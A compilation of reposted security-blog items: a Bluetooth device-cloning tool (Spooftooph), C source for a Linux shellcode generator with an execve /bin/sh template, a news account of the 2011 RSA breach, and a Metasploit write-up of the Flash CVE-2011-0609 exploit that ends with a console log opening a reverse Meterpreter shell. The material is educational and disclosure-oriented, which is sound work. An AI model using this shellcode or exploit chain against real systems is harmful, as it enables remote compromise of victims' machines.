Spooftooph: The Bluetooth Spoofer!

Spooftooph is designed to automate spoofing or cloning bluetooth device Name, Class, and Address. Cloning this information effectively allows Bluetooth device to hide in plain site. Bluetooth scanning software will only list one of the devices if more than one device in range shares the same device information when the devices are in Discoverable Mode (specifically the same Address).

Well normally most of us never intend to audit the Bluetooth stack in any organization. But this tool could be interesting to use in an environment where Bluetooth devices have been paired with important hardware.

Spooftooph presents us the following features:

• Clone and log Bluetooth device information
• Generate a random new Bluetooth profile
• Change Bluetooth profile every X seconds
• Specify device information for Bluetooth interface
• Select device to clone from scan log

Now this is the best part – it also includes a MITM which makes it easier to clone the Device Profile of two targeted devices. You can also randomly generate Bluetooth NAME, CLASS and ADDR fields or you could do that to random devices info in range every X seconds!  Spooftooph has several options for Bluetooth device information modification:

• Option 1: Continuously scan an area for Bluetooth devices. Make a selection on which device in the list to clone. This option also allows for logging of the scanned devices.
• Option 2: Randomly generate and assign valid Bluetooth interface information. The class and address are randomly generated and the name is derived from a list of the top 100 most common names in US and the type of device. For example if the randomly generated class is a phone, SpoofTooph might generate the name “Bob’s Phone”.
• Option 3: Specify the name, class, and address a user wishes for the Bluetooth interface to have.
• Option 4: Read in the log of previous scans and select a device to clone. Users can also manually add Bluetooth profiles to these log files.
• Option 5: Incognito mode. Scan for and clone new devices at user assigned intervals.

download the Spooftooph v0.4 (spooftooph-0.4.tar.gz)here.

Shell Code Generator

Hi Folks,

today I 'd like to share another educational piece of code: it's a shell code generator. Everybody knows that metasploit generates great payloads with just few commands ( here my old post on the topic and here another interesting one ) but here, I want to show you (and I am thinking to show it up to my future classes) a piece of code from BlackLight to generate shellcodes by injecting dynamic commands from keyboard. The goal is to be able to quick generate a shellcode (or more generally payloads) for Linux x86 platform giving as input to the program a "cmd" and receiving back a perfect generated ( = NULL-Free + within less Bytes possible) shellcode ready to be injected.

So let's see how it works:

#include

#include

#include

char code[] =

"\\x60" /*pusha*/

"\\x31\\xc0" /*xor %eax,%eax*/

"\\x31\\xd2" /*xor %edx,%edx*/

"\\xb0\\x0b" /*mov $0xb,%al*/

"\\x52" /*push %edx*/

"\\x68\\x6e\\x2f\\x73\\x68" /*push $0x68732f6e*/

"\\x68\\x2f\\x2f\\x62\\x69" /*push $0x69622f2f*/

"\\x89\\xe3" /*mov %esp,%ebx*/

"\\x52" /*push %edx*/

"\\x68\\x2d\\x63\\x63\\x63" /*push $0x6363632d*/

"\\x89\\xe1" /*mov %esp,%ecx*/

"\\x52" /*push %edx*/

"\\xeb\\x07" /*jmp 804839a */

"\\x51" /*push %ecx*/

"\\x53" /*push %ebx*/

"\\x89\\xe1" /*mov %esp,%ecx*/

"\\xcd\\x80" /*int $0x80*/

"\\x61" /*popa*/

"\\xe8\\xf4\\xff\\xff\\xff" /*call 8048393 */;

First-of-all, we wanna be sure that a "cmd" (or multiple commands in case of parameters) it's been passed to the main ...

int main (int argc, char **argv) {

int i,len=0;

char *shell,*cmd;

if (!argv[1])

exit(1);

Then, lets find out the total length. (eventually, length of multiple parameters).

for (i=1; i

len += strlen(argv[i]);

len += argc;

Once the "cmd" has been inserted, the program reserves and allocates the "cmd" (or "cmds" in case of parameters) plus a space (\x20) for each parameter, into the memory heap.

cmd = (char*) malloc(len);

for (i=1; i

strcat (cmd,argv[i]);

strcat (cmd,"\x20");

}

Removing the last space. After the last parameter there is no need to having one...

cmd[strlen(cmd)-1]=0;

Now it's time to allocate enough memory into the heap to store the shellcode template (here called "code") and the command line, making the assumption that the "program's name" is bigger then its parameters times 5 (as max).

shell = (char*) malloc( sizeof(code) + (strlen(argv[1]))*5 + 1 );

{I would probably have done ... but anyway.... shell = (char*) malloc( sizeof(code) + strlen(cmd) + 1 );}

Copying the shellcode template:

memcpy (shell,code,sizeof(code));

For each Byte copy into (and after) the shell cmd chars expressed in hex with precision 2. Finally print the entire string in stdout.

for (i=0; i

sprintf (shell,"%s\\x%.2x",shell,cmd[i]);

printf ("%s\n",shell);

}

A great example of a quick shellcode generator !

from Marco Ramili blog

The RSA Hack: How They Did It

The hack last month at RSA Security has been shrouded in mystery.
How did a hacker manage to infiltrate one of the world’s top computer-security companies? And could the data that was stolen be used to impair its SecurID products, which are used by 40 million businesses that are trying to keep their own networks safe from intruders?
The division of the EMC Corporation is staying mum about what exactly was stolen from its computer systems, aside from that it was data related to SecurID.
But on Friday RSA shed some light on the nature of the attack. In a blog post titled “Anatomy of an Attack,” the company’s head of new technologies, Uri Rivner, described a three-stage operation that was similar to several other recent prominent attacks on technology companies, including a 2009 attack on Google that it said originated in China.

In the attack on RSA, the attacker sent “phishing” e-mails with the subject line “2011 Recruitment Plan” to two small groups of employees over the course of two days. Unfortunately, one was interested enough to retrieve one of these messages from his or her junk mail and open the attached Excel file. The spreadsheet contained malware that used a previously unknown, or “zero-day,” flaw in Adobe’s Flash software to install a backdoor. RSA said that Adobe had since released a patch to fix that hole.
After installing a stealthy tool that allowed the hacker to control the machine from afar, he stole several account passwords belonging to the employee and used them to gain entry into other systems, where he could gain access to other employees with access to sensitive data, Mr. Rivner said.
Then came stage three: spiriting RSA files out of the company to a hacked machine at a hosting provider, and then on to the hacker himself.
The attacker left few traces. But an unclassified document from the United States Computer Emergency Readiness Team (US-CERT) obtained by the blogger Brian Krebs revealed three Web addresses used in the intrusion, one of which includes the letters “PRC,” which could refer to the People’s Republic of China — or it could be a ruse.
According to Mr. Rivner, it’s difficult for companies with the world’s most sophisticated defenses to stop this newfangled “advanced persistent threats,” which are made potent by the combination of low-tech “social-engineering” cons and a high-tech zero-day attack that antivirus software won’t recognize.
That RSA detected the attack in progress was a victory, he argued. Many other companies hit by similar attacks “either detected the attacks after months, or didn’t detect them at all and learned about it from the government,” he said. “As an industry, we have to act fast and develop a new defense doctrine; the happy days of good old hacking are gone, and gone too are the old defense paradigms.”
But some security experts ridiculed the notion that the attack was sophisticated. Jeremiah Grossman, founder of WhiteHat Security, posted on Twitter: “I can’t tell if this RSA APT blog post is actually being serious or an April 1st gag. The content is absurd either way.”

Metasploit - Adobe Flash CVE-2011-0609

Recently, I spent about a week and a half working on the latest 0-day Flash vulnerability. I released a working exploit on March 22nd 2011. The original exploit was just an attempt to get something working out the door for all of our users. The first attempt left a lot to be desired. To understand the crux of this vulnerability and what needed to be done to improve the first attempt at exploiting it I had to dig in deep into ActionScript.

ActionScript is a language which is embedded into an SWF file in the form of a bytecode stream. The embedded bytecode stream is handled by the ActionScript Virtual Machine (AVM) which is tasked with verifying the bytecode and generating native code. This process is commonly referred to as JIT (Just In Time) compiling.

The cause of this specific vulnerability is due to a one byte alteration (fuzzing) within an original well formed bytecode stream found in a file called addLabels.swf. The bytecode passes the verification process and the native code is generated and placed in VirtualAlloc()'d executable memory. The specific results of this code executing is that uninitialized memory is referenced.

(fb4.9a0): Access violation - code c0000005 (!!! second chance !!!)
eax=02b38c89 ebx=02b46b20 ecx=02b78040 edx=40027f2b esi=02b467c0 edi=02b5d1f0
eip=02b7558e esp=0013e0e8 ebp=0013e180 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040202
02b7558e 8b4a70          mov     ecx,dword ptr [edx+70h] ds:0023:40027f9b=????????

0:000> dd eax+8
02b38c91  40027f2b 21029780 0002b36d e8180000
02b38ca1  01026d56 34800041 000263d9 08000000
02b38cb1  0a000000 e8000000 01026d56 43800042
02b38cc1  000263d9 05000000 0a000000 e8000000
02b38cd1  01026d56 58800043 000263d9 0c000000
02b38ce1  0a000000 e8000000 01026d56 7a800044
02b38cf1  000263d9 06000000 0a000000 e8000000
02b38d01  01026d56 9c800045 000263d9 08000000

0:000> u eip
02b7558e 8b4a70          mov     ecx,dword ptr [edx+70h]
02b75591 8d559c          lea     edx,[ebp-64h]
02b75594 89459c          mov     dword ptr [ebp-64h],eax
02b75597 8b01            mov     eax,dword ptr [ecx]
02b75599 52              push    edx
02b7559a 6a00            push    0
02b7559c 51              push    ecx
02b7559d ffd0            call    eax

The memory being referenced is uninitialized. To control this memory heapspraying is required. The original exploit used heapspraying within JavaScript. This worked but it was not very reliable.

The solution was to preform the heapspray within a SWF file which loads the trigger SWF. Using HeapLib.as from Roee Hay I was able to get some basic heapspraying accomplished. This is a lot more reliable because it is using the same Heap management routines Flash uses to allocate memory. A copy of the ActionScript source code I used for this exploit can be found in the exploit.as source file.

Now that I have reliable control over the unintialized memory. Whats the next task? The next task is simply constructing the memory in such a way that the call eax instruction in the JIT code executes my shellcode. This was easily done using the good old Skylined technique of using an address which doubles as a nop instruction (0x0d0d0d0d ftw!).

The next major hurdle I had to over come was now that I have execution control what do I execute? While testing I was using a hardcoded payload within the ActionScript which simply executed calc.exe. This just was not going to cut it. A few initial options came to mind, I could hardcode a meterpreter payload. This was not very dynamic at all and so I had to come up with something else. The next option I thought of was using an egghunter payload to find shellcode I could inject in some other fashion. This would work but really limited things to a lot of payload specifics for example if the hardcoded egghunter payload was for a different architecture than the targeted machine things would blow up and break. That would be pretty tragic since all the conditions for getting a shell would be in place but everything breaks due to the dependencies of a hardcoded payload.

Finally, I came to conclusion I needed to find a way to dynamically read a payload using ActionScript. Now I can simply make a HTTP request for a text file and read in the ASCII hexadecimal representation of the payload. After decoding the payload it can be applied to the heapspray code and now we have dynamic payloads in memory. W00t!

      =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 672 exploits - 345 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
      =[ svn r12149 updated today (2011.03.26)

msf > use exploit/windows/browser/adobe_flashplayer_avm
msf exploit(adobe_flashplayer_avm) > set URIPATH /
URIPATH => /
msf exploit(adobe_flashplayer_avm) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.0.108:4444
[*] Using URL: http://0.0.0.0:8080/
msf exploit(adobe_flashplayer_avm) >
[*]  Local IP: http://192.168.0.108:8080/
[*] Server started.
[*] Sending Adobe Flash Player AVM Bytecode Verification Vulnerability HTML to 192.168.0.102:3646
[*] Sending Exploit SWF
[*] Sending stage (749056 bytes) to 192.168.0.102
[*] Meterpreter session 1 opened (192.168.0.108:4444 -> 192.168.0.102:3648) at 2011-03-26 15:23:18 -0400
[*] Session ID 1 (192.168.0.108:4444 -> 192.168.0.102:3648) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2376)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 4092
[*] New server process: notepad.exe (4092)
msf exploit(adobe_flashplayer_avm) > sessions

Active sessions
===============
 Id  Type                   Information                                  Connection
 --  ----                   -----------                                  ----------
 1   meterpreter x86/win32  WXPPROSP2-001\Administrator @ WXPPROSP2-001  192.168.0.108:4444 -> 192.168.0.102:3648

msf exploit(adobe_flashplayer_avm) >

Thats the entire process it took to create a reliable exploit for this vulnerability. I hope you enjoy all the sessions =).
 

by bannedit from Metasploit blog